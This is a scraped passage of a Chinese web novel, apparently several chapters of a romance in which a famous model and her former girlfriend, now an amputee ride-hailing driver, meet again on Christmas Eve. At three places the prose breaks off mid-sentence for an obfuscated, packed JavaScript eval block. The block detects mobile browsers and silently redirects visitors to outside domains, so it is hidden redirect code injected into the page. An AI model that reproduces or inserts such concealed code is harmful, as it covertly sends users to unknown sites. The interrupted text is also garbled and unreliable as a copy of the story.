远处广告屏中光影跳跃,跃到邱一燃郁气沉沉的脸庞上。 她靠在车边,将厚外套裹紧。 然后便从手机上看到一分钟前收到的打赏,金额比她来去车费和医药费要高得多。 以及那一句顾客评价—— 【快点回去吧。】 她让她快点回去。 邱一燃没有遵循这句售后评价的劝告。她在寒风中抬眼—— 是远处广告屏中光鲜亮丽的女人,是不断从她身侧飞驰而过的一列列高铁。 她不知道黎无回到底在哪一列上。 所以,她只是花了整个晚上,默不作声地注视着那一列又一列的高铁,将她带离她的身边。 是啊,她都已经是黎无回了,也得到了当初自己那么迫切想要得到的一切。 又怎么可能会过得不好呢? - 在瑞士的拍摄结束后。 黎无回去米兰拍了个杂志封,又到上海看了个秀,回到巴黎时已经是十二月。 二十四岁那年她成名,本就已经不太年轻,不是模特的黄金年龄。 三年来她抓住一切能抓住的机会,抛弃了自己所能抛弃的一切,忙得脚不沾地,很少长期住在某个城市。 而她如今在巴黎的住处,也不过是个长期付费的酒店套房。 出去一趟,养在套房里的金鱼又死了。 被她雇来照料的人在电话里对她道歉,她说没事,再养一条就好了。 冯鱼过来找她的时候,新的金鱼已经放进清洗过的鱼缸。 冯鱼是她刚出道时就认识的同期模特,那时她们在巴黎合租一间公寓。 后来冯鱼先搬了出去。如今冯鱼早就退役,成了富太太,和法国妻子刚从非洲度蜜月回来。 刚从非洲回来,冯鱼晒得像条黑鱼。 一进门就热情地抱住她,然后就看见她鱼缸里的新鱼,撇了撇嘴, “养一条死一条,死一条养一条,你也真是锲而不舍。” 黎无回懒洋洋地瞥一眼在鱼缸里游动的鱼,她并不是没有花心思,也并不是出于故意,但不管是雇人来照料,还是自己在时照料,又或者是专门挑选最好养的品类…… 到最后,被她养过的鱼,结局都不太好。 她不明白为什么。 这也不是冯鱼第一次说她,大概是出于同类相惜。 巴黎的冬天一年比一年冷。黎无回对冯鱼说,“我见到邱一燃了。” “你不是早就见到了吗?”冯鱼叹口气,“已经四个月了吧,你,黎无回,脸被印在销往全球杂志上的模特,每个月都跑到前任楼底下扔石子,传出去都要被人讲笑话听的。” “她不一样。”黎无回不在乎自己会不会被当作个笑话,“这次也不一样。” “你和她说话了?” 黎无回“嗯”了声,“但她似乎不太想要见到我。” “当然了。”冯鱼似乎旁观者清, “当初本来就是她甩的你,现在又怎么会还想要见到你?” 轻飘飘的话落下来。黎无回没有说话。 冯鱼反思自己是不是太过于一针见血,悄咪咪地瞄一眼黎无回—— 对方没露出什么痛苦的表情。 只是坐在毛绒地毯上,抱着膝盖,卷发阴影盖住半张脸,仰头,盯着鱼缸里游离的鱼。 整个人轻飘飘的,甚至嘴角还带笑,似乎并没有因此受伤。 “你又喝酒了?”冯鱼关切地问。 黎无回却答非所问,“我知道。” “什么?”冯鱼没反应过来。 “我知道是她甩的我。”黎无回说这种话时也是轻飘飘的,也在笑。 低着声音,飘飘悠悠地。 仿佛不在意,又仿佛对如此浓烈的爱与恨毫无办法, “也知道她不想见到我。” 哪怕我已经是黎无回了。 - 冯鱼走前欲言又止。 黎无回却恢复正常,脚步平稳地送走冯鱼。这个晚上她只吃三粒安眠药。 两个小时之后她入睡,然后梦见母亲鲁韵。 大概是邱一燃离开的几个月后,鲁韵因病去世。 那段时间鲁韵精神状态极其不平稳,她们的关系已经弄得很僵,甚至对彼此恶语相向。 起因是鲁韵想要独自回国度过最后一段时日,但黎无回那时登上那场大秀不久,没能答应鲁韵的要求。 原本只是小事,只是她们关系本就尖锐,平时也是各活各的,从不干涉彼此。 那是个阳光普照的下午。 病房内被阳光晒得很温暖,黎无回给鲁韵削苹果,她不会削苹果,所以皮削得断断续续的,而整颗苹果被她一削,就变得很小,像个奇形怪状的几何体。 削完后,她递给鲁韵。 鲁韵那时习惯戴针织毛线帽。记忆中她那头中靓丽乌黑的长发稀疏得只剩几缕,平坦光滑的皮肤上也布满褶皱。 于是她不愿意摘下帽子,不愿意照镜子,也不愿意出门晒太阳,更不愿意看见黎无回那张和她年轻时如出一辙的脸。 因为她觉得自己已经不美丽了。 鲁韵接过她给她削的苹果,慢吞吞地咬了一口,汁水从牙齿中溅出来。 然后—— 鲁韵突然把咬了一口的苹果狠狠砸了过来。 直直地,毫不留情地。 正砸到黎无回眼角,砸下来的苹果肉四分五裂。 汁水淌下来,混杂着额角的钝痛。 黎无回轻笑一声,鲁韵已经不是第一次像这样对她发脾气。 她蹲下去清理地面时看到阳光——原本那天天气很好的。 而鲁韵似乎因为刚刚那一砸费尽力气,气喘吁吁地、恨恨地盯着她, “我要离开这里。” 黎无回擦自己眼角淌下来的汁水,耐心地回应,她不可能让这种状态的鲁韵一个人回去, “等我下周结束就陪你走。” 鲁韵不依不饶,“我不要你陪,我要自己一个人走。” 黎无回顿了下,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592131|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角砸出的皮肤缓缓发肿,挡住了部分视野。 她紧紧盯着形容枯槁的鲁韵,说,“不行。” 鲁韵气喘得更厉害了,将自己所能拿到的东西都往黎无回这里砸过来。 最后,甚至脱了自己那顶针织帽,砸到她脸上, “那你就别让我看见你!” 黎无回承受着鲁韵所有的怒火。 最后,将被扔到自己脸上的针织帽捡起来,给闹得在地上打滚的鲁韵仔细认真地戴上。 她跪在地上,弯腰。 像个很小的孩子那般紧紧环住鲁韵的肩不放,安抚着自己的母亲,呢喃, “你就不能不走吗?” 实际上她不理解鲁韵。 明明最初到巴黎,死死拽住她不放不让她离开,甚至偷走她身份证的…… 也是鲁韵。 可为什么如今,鲁韵会拼了命地想要离开她身边? “不能。”实际上,鲁韵那时因为被病痛折磨已经相当痛苦,被她抱在怀里像具很小的骨架,又哭又闹,指甲在黎无回颈后划出血来,似乎对她怨入骨髓,“你就让我走吧。” 黎无回不记得那天究竟是怎么结束,也不记得那天再站起来后自己的膝盖有多痛。 只记得鲁韵最后甚至对她用上哀求的语气,但在她不同意之后又反复挠抓她的脖颈,最后自己累极了,不情愿地被她抱得紧紧的,却还是语气厌憎地对她说, ——“难怪她腿都断了都不愿意留在你身边!” ——“是不是跟你纠缠过的人,到最后总是要死一个你才肯罢休?” ——“还是说就算我死了你也不会放过我?” 黎无回不说话。 她抱着鲁韵,嗅着鲁韵身上的气息,像很小的时候做的那样。 “黎无回。” 最后,鲁韵这样喊她,快要累睡着前,十分平静地说了一句, “没有人敢爱你,你活该。” - 黎无回是被这个梦惊醒的。 使用安眠药入眠时她总是多梦,也总是被惊醒。 那时天还好黑,酒店套房好安静,她都快要听不见自己的呼吸。 然后她才在恍惚间发现—— 原来从那个时候起,连为她取名的鲁韵都已经在喊她黎无回。 黎无回下床。 小心翼翼地喂了金鱼,冰箱里空空如也,她连个奇形怪状的苹果都没办法给自己削。 她没有开灯。 面无表情地拿了个生姜出来,削了皮,送到嘴里,一口一口地咬着。 恍惚间她拿出手机—— 冯鱼刚在社交软件上更新照片,背后是一棵亮着灯的圣诞树,她被很多人围在中间,笑得很开怀。 空气里很暗,生姜的气味和味道刺得人眼睛和口腔都很辣,黎无回麻木地吞到胃里。 还有十七个小时,就是国内的平安夜。 五年前的平安夜,有人给她削了个苹果。三年前的平安夜,这个人抛弃了她,像过往所有抛弃她的人一样绝情。 从那以后她开始憎怨平安夜,也对这个人恨之入骨,恨不得将其生吞活剥。 也许鲁韵说得对,她这个样子,没有人敢爱,她活该。 可她还是在吃完生姜后买下回国的机票。 因为是平安夜。 而她希望有人能再给她削个苹果。 11.「黎无回」 这是离开黎无回后的第三个平安夜。在邱一燃看来,这和之前两个并没有什么两样。 六点起床,她照例洗了个热水澡。 过去一个月,她残肢处的磨损红肿终于恢复一些,不至于每走一步都磨得痛。但反复疼痛是常态,医生叮嘱她平时得多注意保养。 天蒙蒙亮的时候,她穿戴好假肢,动作很慢地下了二楼。然后就收到卫子柯每一年都准时发来的提醒—— 一定要记得吃个苹果,做我们这行不能不重视这个节日。 邱一燃没有在平安夜吃苹果的习惯。 对她而言很多事她都不想去在意,节日也早就和过往普通的每一天,都没有任何分别。 照例从早忙到晚。 开着车到处接客、拉客,偶尔瞥见路边摆的杂志摊上有张风情万种的脸…… 她没来得及给自己买苹果。 原本是热闹繁杂的节日,打车的人多,高铁站外,写字楼外,都挤满了打不到车的人。 但纵然打不到车。 上车的人看清那贴着的残疾标识,多半也就下了车。 最后能撑下来坐她车的,大部分也都是短程才敢坐。 来来去去,直到晚上九点。 她送了个客人到高铁站。然后就干脆在高铁站附近等单。 这时才瞥见有个面包店外面摆着包装精致的苹果,她鬼使神差地推动车把手。 而也就在她刚刚推动之际—— 车门忽然被急匆匆地敲响。 有个穿得很厚实的乘客在外面很着急地问了一句,“您能出来帮我搬下箱子吗?” 邱一燃的手在车门上停顿片刻。 看着乘客在外面呼出的白气,还是打开了车门, “好,您稍等。” 车门推开,冷风刮面。 她将左腿踏到地面上,用力牢牢撑住,动作很慢但很平稳地下了车。 尽量掩饰自己脚步的一深一浅。 走到车后打开了车后备箱,然后又去接乘客的行李箱。 再走过去—— 那乘客却突然将行李箱猛地移开了。 邱一燃缩了缩手指,动作慢半拍地抬头。 而刚刚脸色焦急的乘客大概是目睹了她下车的全过程,这会视线还在她左腿上怀疑般地游离。 手紧紧攥着自己的行李箱,像是生怕她活生生抢走似的。 好一会,才尴尬地摆了摆手,“不用了不用了,我打别的车吧。” 呼出的白气在空气中变得冰冷,邱一燃点了点头,很平静地接受了这件事, “不过今天这里很难打到车——” “没事,你不用说了。” 这位乘客打断了她,然后竭力拖着行李箱飞速离开了她这辆车的所在范围。 然后像是后怕似的。 急匆匆地上了辆在高铁站外拉满人才开走的黑车。 那句“您可以往那边走一点”——断在了喉咙里。 邱一燃靠在车边,全程注视着这位乘客上了那辆车,才收回视线。 这种事情是常态,几乎每天都会发生。无论今天是不是节日,也都没有分别。 再次瞥见面包店外那些包装精良的苹果,她没了任何想要购买的心思。 尽管从前她很喜欢平安夜。 也会提前买好圣诞树在家里布置,十四岁初到巴黎,平安夜那天她在陌生家庭坐一晚上,听自己听不懂的语言,安静地坐着削苹果皮。 后来她甚至养成习惯。 在这天一定要削一条完整无缺没有断裂的出来,才可以入睡。 Olivia那时就总开她玩笑——说她大概是天生的艺术家,因为有强迫症,对一条苹果皮都有如此执拗的要求。 她对后半句并不否认。因为她的确对自己的很多事都有着执拗。 她追求纯粹和完整,想要的事情如果够不到百分百,那她宁愿抛弃全部。 ——邱一燃盯着自己缺失的左腿,始终平静地想。 茫市的冬季很单调很阴沉,连平安夜都不会显得温暖。 对面面包店不知何时关门。 已经有店员走出来收走在外面零星摆着的苹果。 等了十多分钟,仍然没有人过来打车,邱一燃呼出一口又一口的白气,准备上车。 今天没有下雪,也不温暖。 然后她就看见黎无回—— 圣诞街灯像热带香槟那般游离,女人站在她身后不远处,穿着密不透风的烟囱领大衣,烟灰色衣领盖着下巴,双手插在衣兜里,看起来穿着很温暖。 似乎是刚从高铁站走出来,却又不知道到底在那里站了多久。 “黎无回。” 邱一燃迟钝地反应过来,声音困难地从喉咙中挤出。 即便在车那边的女人面容模糊,但她坚信自己不会认错。 站内站外人影晃晃。 黎无回站在阴影里久久没有动。 像梦,像一戳就破的水面,像静止许久的一面镜子。 就在邱一燃几乎要把这当成某种幻觉时,面前的黎无回突然动了—— 女人身影一晃。 像是要往她这边走过来。 而后却迅速转身扶着墙往垃圾桶走去,单薄的后背像是终于承受不住什么重量而用力佝偻着。 然后黎无回突然开始干呕起来。 “黎无回。” 邱一燃快步奔过去。 她已经能听见黎无回艰难的呼吸声,也已经能看见黎无回细瘦的背骨微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597827|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凸起。 而当她快走近之前,她又听见黎无回压着声音说,“你别过来。” 邱一燃瞬间站定,不敢再上前。 她望着在她面前佝偻着腰、像是要被直接折断的女人,茫然不知所措。 “你——” 邱一燃的手伸出去,快要抚到那单薄的背脊,却又蜷缩回来,终究归于无能为力的一句,“你是不是哪里不舒服?” “邱一燃。” 黎无回喊她。 却没有回答她的问题,压抑住自己的干呕,然后扶着墙,挺直着腰。 好一会,匆促地用手背擦干净自己的脸,才转过身来看她, “我跟你商量件事。” 光影如梦似幻,黄调灯下的女人却表情空洞,冲她轻笑, “你能不能别喊我黎无回了?” 能不能——像请求,更像悲戚。 邱一燃几乎从未听黎无回用过这种语气说话。 以至于她突然发觉自己无法发出任何声音。 灯影下,邱一燃没有回答,眼圈却逐渐泛起了红——不知道是不是黎无回胃痛太久以至于产生幻觉,看到很久以前的邱一燃。 她记得那时邱一燃会经常为她掉眼泪。 而分手那天明明把狠话都说尽,邱一燃却一反常态,那么无情无义,连眼圈都没有红。 没等分辨出邱一燃此时眼圈泛红究竟是不是错觉,黎无回胃中再次翻涌。 于是她不得不用力撑住墙,佝偻着腰,像是内脏里有无数只蚂蚁钻来钻去,又拼了命地想从口中涌出。 但偏偏,她又什么都吐不出来,反反复复,都只吐了些酸水。 恍惚间她听见邱一燃再次变得急促的脚步声,一深一浅,却变得越来越远。 她没由来地笑一声。 她想的确。 的确邱一燃总是那样迫不及待离开她身边。的确鲁韵也说得对,没有人敢爱她。 然而等她试图再次撑起腰来之际,那阵脚步声又飞速地奔了回来。 夹着喘息声、裹着冬季的风。 带着绿格纹手帕的手径直伸到她面前——手指很瘦,很白,指甲很干净。 黎无回怔住。 她听见邱一燃深深呼出一口气,将手帕很生硬地塞到她手里, “洗过的,你可以直接用。” 之后。 邱一燃没有一丝犹豫地收回了手。脚尖转了个方向,似乎是想要离去。 却又在走了几步后突然停住。 鞋尖在地面上打了个转,重新转向黎无回,“二十四号,你今天……” 嘴里的话变得迟疑,“你是又开始痛了吗?” 之后在黑夜中停了半晌,才喊她, “黎春风。” 12.「黎无回」 记下黎无回的生理期日期,对三年前的邱一燃来说是日常习惯。 因为黎无回总是痛经。 于是她比黎无回更害怕这个日期的来临,早早便会算着日子—— 夏天会提前将冰箱里所有的冰块都清空,不让黎无回偷偷在喝酒时加冰块,然后将黎无回的酒壶偷走灌满热水…… 冬天会将黎无回从被子里拽出来,在人半梦半醒间喂人喝热气腾腾的红枣姜水,至少提前一周喝,这个月就会没那么痛…… 当然她认为这并不值得被当作美谈。 因为她相信这种事并不少见,普通到对所有相爱过的人而言都一样。 只是她想不到—— 如今这个习惯竟然瞒过她的大脑再次复苏。 “你没事吧?” 沉默过后,邱一燃接受了这个事实,并且将其认知为不好的、需要被抛弃的习惯。 比起她犹犹豫豫的问题,黎无回的回答却足够直接, “如果我说我没事,你是不是马上就要走?” 邱一燃发怔,“什么?” 黎无回没说话了。 或者是说她说不出更多话了。 她没想到邱一燃竟然这么轻易就喊她黎春风,更想不到在这之后,她更多的不是如愿之后的心满意足,而是茫然的虚无。 就连她自己也不知道——到底要让邱一燃怎么对待她,才能让她稍微好过一些。 “黎——”许久都没等到她应答,邱一燃再次出声,那句不合时宜的称呼却压在了喉咙中,“要不我还是送你去医院看看吧?” 胃中翻涌稍微停歇下来。 “不用。”黎无回撑着墙,空白地摇了摇头,“我自己的身体我清楚,还没有到需要去医院的地步。” “你……”邱一燃上前一步,那一瞬间她很想问——那你要到什么地步才需要去医院。 但很快她意识到这个句式很强势,不适合她和她如今的关系,于是她不得不再次顿住。 黎无回这个角度只看得见邱一燃的影子,覆在墙边,很细很长,也很瘦。 人怎么可以连影子都变瘦变沉那么多?像烧干的木,没有一丝生机。 “我没事。” 黎无回这么说。 她攥紧手中绿格纹手帕。明明没有用到,却也没有要还给邱一燃的意思。 然后—— 她径直地走向邱一燃的车,坐上副驾驶,透过潮润车窗,隐隐约约地注视着她。 邱一燃对此毫无办法。 她静默地走过去,上车系上安全带之后,没忍住又问了一句, “你确定不需要我送你去医院吗?” “别送我去医院。”黎无回否决了她的提议。 邱一燃再次试图说服她,“但是你这样——” “可今天是平安夜。”黎无回打断了她,“我不想在医院度过。” 静静地望向她,声音在车外游离灯光中变得迷离而虚幻, “现在你连这个要求都不可以帮我实现吗?” 那至少也不应该在这里度过,你应该在巴黎,在我看不到的地方——邱一燃本该这么说。 但那一刻她看到黎无回的眼睛。 她很难说得清那其中有什么,或许是与日俱增的怨恨,或许是三年来无数次病后被她错失掉的孤立无援。 但无论是什么,她也很难再说得出这句话。于是她垂了垂眼,轻声说, “你要去哪里?” “不知道。”黎无回摇了摇头,“一般到了这天你会做些什么?” “我?” 邱一燃慢半拍地反应过来, “我不做什么,大部分时间都在街上转悠,接客,送客,和平常没什么不一样。” “不过节吗?” “一般不过。”邱一燃说,“没什么好过的。更何况在这里,平安夜也不是什么人人都会过的节日。” 离开巴黎后有一段时日她记忆力变得极差,每天睁开眼甚至不记得到底在过哪一天,又怎么会有心思去过节日? “那就这么做吧。”黎无回突然说。 “什么?”邱一燃的思绪被打断。 黎无回已经没有在看她了,而是看向窗外的街景,连视线都很安静。 停顿良久,才缓缓地说,“走你平常会走的路,做你平常会做的事。” 因为我想知道。 - 不知道黎无回到底想要去哪里,邱一燃开着车在街道上游荡。 车上黎无回的状态似乎要比刚刚好上不少,没有再干呕,也没有脸色发白。 这让邱一燃稍微安下心来。 然后她又想起一件事,“上次的医药费没那么贵,你给的打赏金额太多了。” “是吗?”黎无回说,“我不知道到底多少钱。” “我等会找现金返给你吧。” “不用。” 现金,邱一燃摆明是想划分界限。 可邱一燃想做什么。 黎无回偏偏就不想让她做成什么,“就当作预存的车费吧。” “预存车费?” 邱一燃第一次听到这个说法,难道黎无回还要坐她的车很多次? 虽说黎无回四个月前就出现。但那时她太慌乱,太不知所措—— 她以为只要发泄完对她的憎恨和责怪,黎无回迟早会从这里离开的。 毕竟那时她单方面离开,对黎无回而言太难堪。 她没想过三年过去,黎无回还会有发展成为她固定乘客的打算。 就在她迟疑之际,黎无回突然出声了, “我想去那里看看。” 邱一燃抽出思绪。 才发现黎无回视线所停及的地方,正是茫市最高的那一栋楼。 而那里恰好又在轮流播放几家广告。其中就有黎无回的最新代言——某个汽车品牌。 邱一燃将车开到这栋楼下。 正好便碰上黎无回的广告影片播映结束,又要等个来回。 车内视野有局限,她们下了车。 这是条正在建设中的商业街,除开这栋楼外,街道整体圣诞氛围浓厚。 中央喷泉处还搬来了棵巨大的圣诞树。 有三层楼高,上面挂满礼物和彩灯,似乎正在筹备什么大型活动。 她们还没等到黎无回的广告出来,刚下车就碰上有两个年轻人走过来,指了指对面亮着灯的圣诞树,小心翼翼地问, “你好,请问可以帮忙给我们拍张合照吗?” 相机伸向的方向是邱一燃。 大概是因为黎无回此刻神色恹恹,脸又大半都埋在衣领中,看起来生人不近。 圣诞前夕,街灯温暖。 这对年轻人的请求极其普通。她们表情期盼,大概也没想过会被拒绝。 邱一燃却因为这个简单的要求而僵在原地。 她紧紧盯着送到自己面前来的黑色相机,很普通的型号,很常见的品牌。 却像无数积聚在一块的恶虫。 密密麻麻地爬到她的视野中,蔓延到她的指节缝隙。 她动了动僵硬到几近开始发抖的手指。 顾及到黎无回在身旁。 实际上她并不想在她身边呈现出无力,正打算去接过—— “我……” “我来帮你们拍吧。” 黎无回在她之前接过了相机。 甚至在她错愕之际。 就已经举了起来,很利落地给还没准备好的两个人连拍了几张。之后又指导着两人摆动作,在冷风中给两人拍了十几张。 结束之后—— 两人连忙说了谢谢。 接着就接过相机去查看,然后非常满意地感谢了黎无回,并且提出, “你们在这也站半天了吧,要不要给你们两位也拍张合照?” 两个人的视线在她们身上热情而好奇地游离。 观看完全程,邱一燃仍然还有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601749|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没缓过来。听到这句话,她先是脱口而出, “谢谢,不用了。” 然后又瞥了眼对此像是毫无反应的黎无回,沉默片刻,对仍旧跃跃欲试的两个人补了一句, “我们……” “也不是可以在平安夜拍合照的关系。” “啊……好可惜啊。” 合照的两人似乎察觉到什么,匆忙间没说太多,再次感谢过她们后就离开。 广告屏中仍旧没播映到黎无回的脸。邱一燃靠在车边,仍然对刚刚的事情心有余悸。 事实上离开巴黎后她再没拿起过相机。 甚至买到新手机后做的第一件事就是删除其中的相机软件…… 即便过去三年她再没尝试过,但她仍然不想在黎无回面前出丑。 然后,她就听见黎无回突然没由来地轻笑一声, “怎么?没想到我现在给人拍照也能收到夸奖了?” “……没有。” 纵然从前黎无回给人拍照总是构图奇特,发到社交软件上的自拍,也总是被人吐槽只有她能找出三百六十度中的那三百六十一度。 而此刻见到黎无回的拍照技术和认知中有了极大改变,邱一燃没多遗憾这其中并没有自己的参与,她只是诚恳地摇了摇头, “只是觉得你也变了很多。” 头顶广告屏光影流淌,映在黎无回脸上却似构图精妙的光源。她静了片刻,轻轻地说,“这话不是你说的吗——” “人总是要向前看的。” 邱一燃对此无法否认。或许她该为此感到高兴。 在她像艘被砸到海底的沉船那般逐渐下沉,满载痛苦从而一蹶不振的那段时日。 至少黎无回能够重振旗鼓,抛开残酷而负重累累的一切,走上自己最想要走的那一条路,也得到了曾经那么迫切想要的一切。 跨越二十层的广告屏再次亮起。 这次终于是黎无回的脸。 她会被路过的每个人都看到,甚至不知不觉地记在脑海中。不知今夜过后,又会有多少人记得黎无回这个名字? 记得这个品牌的全球代言人:黎无回。 ——邱一燃看着广告屏右下角的那一行字,这样想。 移开目光后她看见黎无回的侧脸。 纵然此刻脸色苍白。 黎无回也很专注地注视着自己在广告屏中的身影,连眼皮都没眨一下,也没有一丝游移。 于是邱一燃想起—— 这是这个广告片今天首次公开,或许黎无回也是初次看到。 邱一燃始终记得五年前的平安夜,黎无回站在高地大喊“我要征服巴黎”的那一刻。也许那个夜晚的确有冲动,也有欺骗。 但她仍然认为,至少那一刻她在黎无回眼中瞥见的百分百渴望和期盼,都不是假的。 事到如今——她仍然能在黎无回眼中瞥见那种“百分百”所存在的迹象。就算黎无回本人都否认,她也不觉得是自己看错。 广告片播放完毕。 明亮光影转为暗,黎无回始终盯着屏幕没有动。 邱一燃率先移开视线。 发现不知不觉起街道开始洒雪,这个平安夜原本没有雪,恍惚间她无意识地出声, “黎无……” 却又在漫天纷飞的人造雪花中顿住。 原来雪是假的。 而她也不知道究竟应该怎么称呼黎无回才最合适。 黎无回却因为这一声呼唤往她这边看了过来。 大概是因为广告片产生效用。 她这次没有对这声称呼进行质疑,只是安静地看着她。 邱一燃靠在车边的腰背发麻,使她动弹不得。于是她顿了片刻,长长地舒出心中窒闷许久的气体,状态轻松地笑了笑, “你就这么讨厌黎无回这个名字吗?” 她看向她,白色雪花从她们相交的视线中落下来。邱一燃轻轻地说, “因为是我给你取的。” 13.「黎无回」 黎无回是艺名。 ——邱一燃给黎春风取的艺名。 大概是在截肢之前的一段时间,黎无回原本打算重新签约,那时希望几乎触手可及。 她跟新公司面谈过好几次。 某一次回来后,迷迷糊糊地将自己被冻到的脸压在邱一燃颈下,不知是在做梦说梦话,还是说认真的。总之她跟邱一燃说—— 公司让我取个新名字。 我想了想,还是你帮我取吧。 要像你这样的,像孤注一掷,不撞南墙不回头。 后来因为邱一燃截肢,这件事翻来覆去地就耽搁了。 再后来,邱一燃和她分手,临走前却还是为她取了这两个字。 无回。 ——永远做自己想做的事,走自己想走的路,不留任何退路,也永远不要回头。 这大概算是临别前的祝愿。 至少在那一刻,邱一燃是真心的。 但她没想过—— 这个名字后来真的会频繁出现在路边的广告牌中,成为各个品牌的全球品牌大使、全球品牌代言人…… 就像她也没想过——黎无回会再次出现在她面前。 这个平安夜和记忆中都不一样,没有下雪,却比记忆中寒冷得多。 像一张曝光过度的过期胶片。 她们被定格在胶片中央,站在巨大的圣诞树下对视,眼睛中间飘着毛茸茸的人造雪花。 三年过去,她终于问她就这么讨厌这个名字吗? 而黎无回毫不留情地说,“嗯,因为是你取的。” 邱一燃觉得自己可以接受这个答案。 但她不否认问出这个问题那一刻,她仍旧心存侥幸——如果她们不会变成这样彼此怨恨的关系就好了。 至少别把她那时唯一能给出的祝愿当作报复。 邱一燃低垂着眼。 她忽然感觉自己被拽进了海底漩涡,口鼻都被闷在滞涩海水中。 然而就在这时,黎无回的声音贯穿沉闷漩涡,清晰地飘到她耳边—— “所以我当初才会用。” 平静,没有情绪,像在讲述一个事实。 邱一燃怔住。 她紧紧地攥住手指,抬眼去望。 黎无回已经没有在看她了,而是将下半张脸埋进烟灰色衣领中,脸部轮廓淌着黄澄澄的光,像一幅静止的油画。 “可我现在很后悔。” 后悔吗?的确是该后悔的。邱一燃想,如果是自己,如果是她用了前女友取的名字出现在大众视野中…… “因为从那个时候起每个人都只喊我黎无回。” 人造雪在空中洋洋洒洒地飘下来,明明没有温度,却让黎无回觉得冷。 她不喜欢这样的雪,直接将口鼻都埋进衣领中,低着睫毛,很轻很轻地说, “而我很讨厌这样。” 因为她们每喊一次,就会让我想起你一次,让我想起我自己是抛弃了什么,又是彻底失去了什么,才能成为如今的黎无回。 听到黎无回说后悔,邱一燃不知道自己应该以什么心情来面对。 她只是愣怔着,像被这场人造雪堆起来的一个雪人,在沉默中等待被融化。 “邱一燃。”直到黎无回再次出声喊她,贴在衣领后的唇微微分开,“下雪了。” 再次望向她,在缱绻的白气中询问, “我想再吃个苹果,可以吗?” - 邱一燃去买了苹果。 她不知道自己究竟要怎么样,才能拒绝黎无回用“可以吗”这种语气提出的请求。 出来的时候她顺便买了把水果刀,黎无回今天不太开心,她能明显觉察出来。 苹果和刀都是她去买的。 黎无回没硬要跟着她去,这让她再次察觉到变化。因为从她截肢以后,黎无回就将她看得很紧,很多事情都不让她单独去做。 包括去楼下扔垃圾、过马路,甚至是洗澡洗头这种本该她自己完成的事情…… 邱一燃能接受自己已经不是个健全完整的人,但却不能接受这种不健全已经使她不能照顾自己。那时她一度很糟糕,对黎无回发了很多糟糕的脾气,也不能接受黎无回的生活重心完全围绕着自己。 为此,那段时日她们闹出许多矛盾和争吵,关系时好时坏。 那几乎是两个人最艰难的一段时日。但她们也并没有在那时分开。 邱一燃本该因此而去相信——爱迎万难是真理。 但她还是没有。 带着清洗过的苹果和刀回来时,邱一燃看见黎无回正坐在秋千上。 那是活动广场边缘的两个单人秋千。除了黎无回之外,另一个秋千上是个小孩。 二十七岁的黎无回和小孩节奏相同,大衣拖在地上,荡得慢慢悠悠地,好像还在侧头闲聊。 邱一燃温吞吞地走过去。 她走得慢,有个人比她先走过去,是个一直拿着手机在路上一直徘徊不前的,像好奇,最后终于走上前去,一边举着手机,一边光明正大地问——“你是黎无回吗?” 而黎无回懒洋洋地点头,说——“谢谢你,因为我花钱就是为了整得像她。” 语出惊人。 那人惊愕地抹了抹脸,像是实在是接不上话,尴尬地搓手走了。 坐秋千的小孩眨巴着眼,歪头问,“那黎无回是谁?” “如果你见过她,肯定会觉得她是你见过最漂亮的人。” 黎无回说这种话时连眼睛都不眨一下。 小孩“咦”了一下,露出脸很皱巴的表情,“那你见过她?” “嗯。”黎无回一本正经地说,“每天都见。” 邱一燃笑出声。 广场嘈杂喧闹,这声笑原本极其不明显,也很快就被她止住。 但还是被黎无回听到。 她几乎是下一秒就回了头,眯着上翘的狐狸眼看清了邱一燃,然后又将脸挨在秋千绳上,对旁边的小孩小声说了句什么。 小孩恍然大悟,昂起下巴看向邱一燃,稚气十足地喊了一句, “黎无回,你果然很漂亮!” 邱一燃发怔。 但小孩喊完这句就被家长喊走了,没来得及说更多,路过她时又十分热情地跟她说了声“黎无回拜拜!” 邱一燃哭笑不得。 秋千空了个位置。 她走过去,慢吞吞地坐下来,有些疑惑地问黎无回,“你跟她说了什么?” “我就说黎无回来了。”黎无回将瞎话回答得很轻易。 “骗小孩要遭报应的。”邱一燃叹一口气。 “我没骗她。” 邱一燃哑然失笑,“好吧。” 苹果和刀都洗过了,她也没闲着,慢吞吞地削着手中的苹果。 已经许久没做过这种细事,天气又冷,她动作很慢,也很小心翼翼,她还是不想将苹果皮削断。 但旁边的黎无回似乎很放心她手中拿着刀。 看了一会,就不知从哪里拿出酒壶,慢悠悠地喝了起来—— 扁平的款式,没什么特殊设计,黑色,但能看得出来很旧,很明显是以前常用的那个。 黎无回是个恋旧到极致的人。 这是她分离焦虑的表现形式之一,分离对她来说 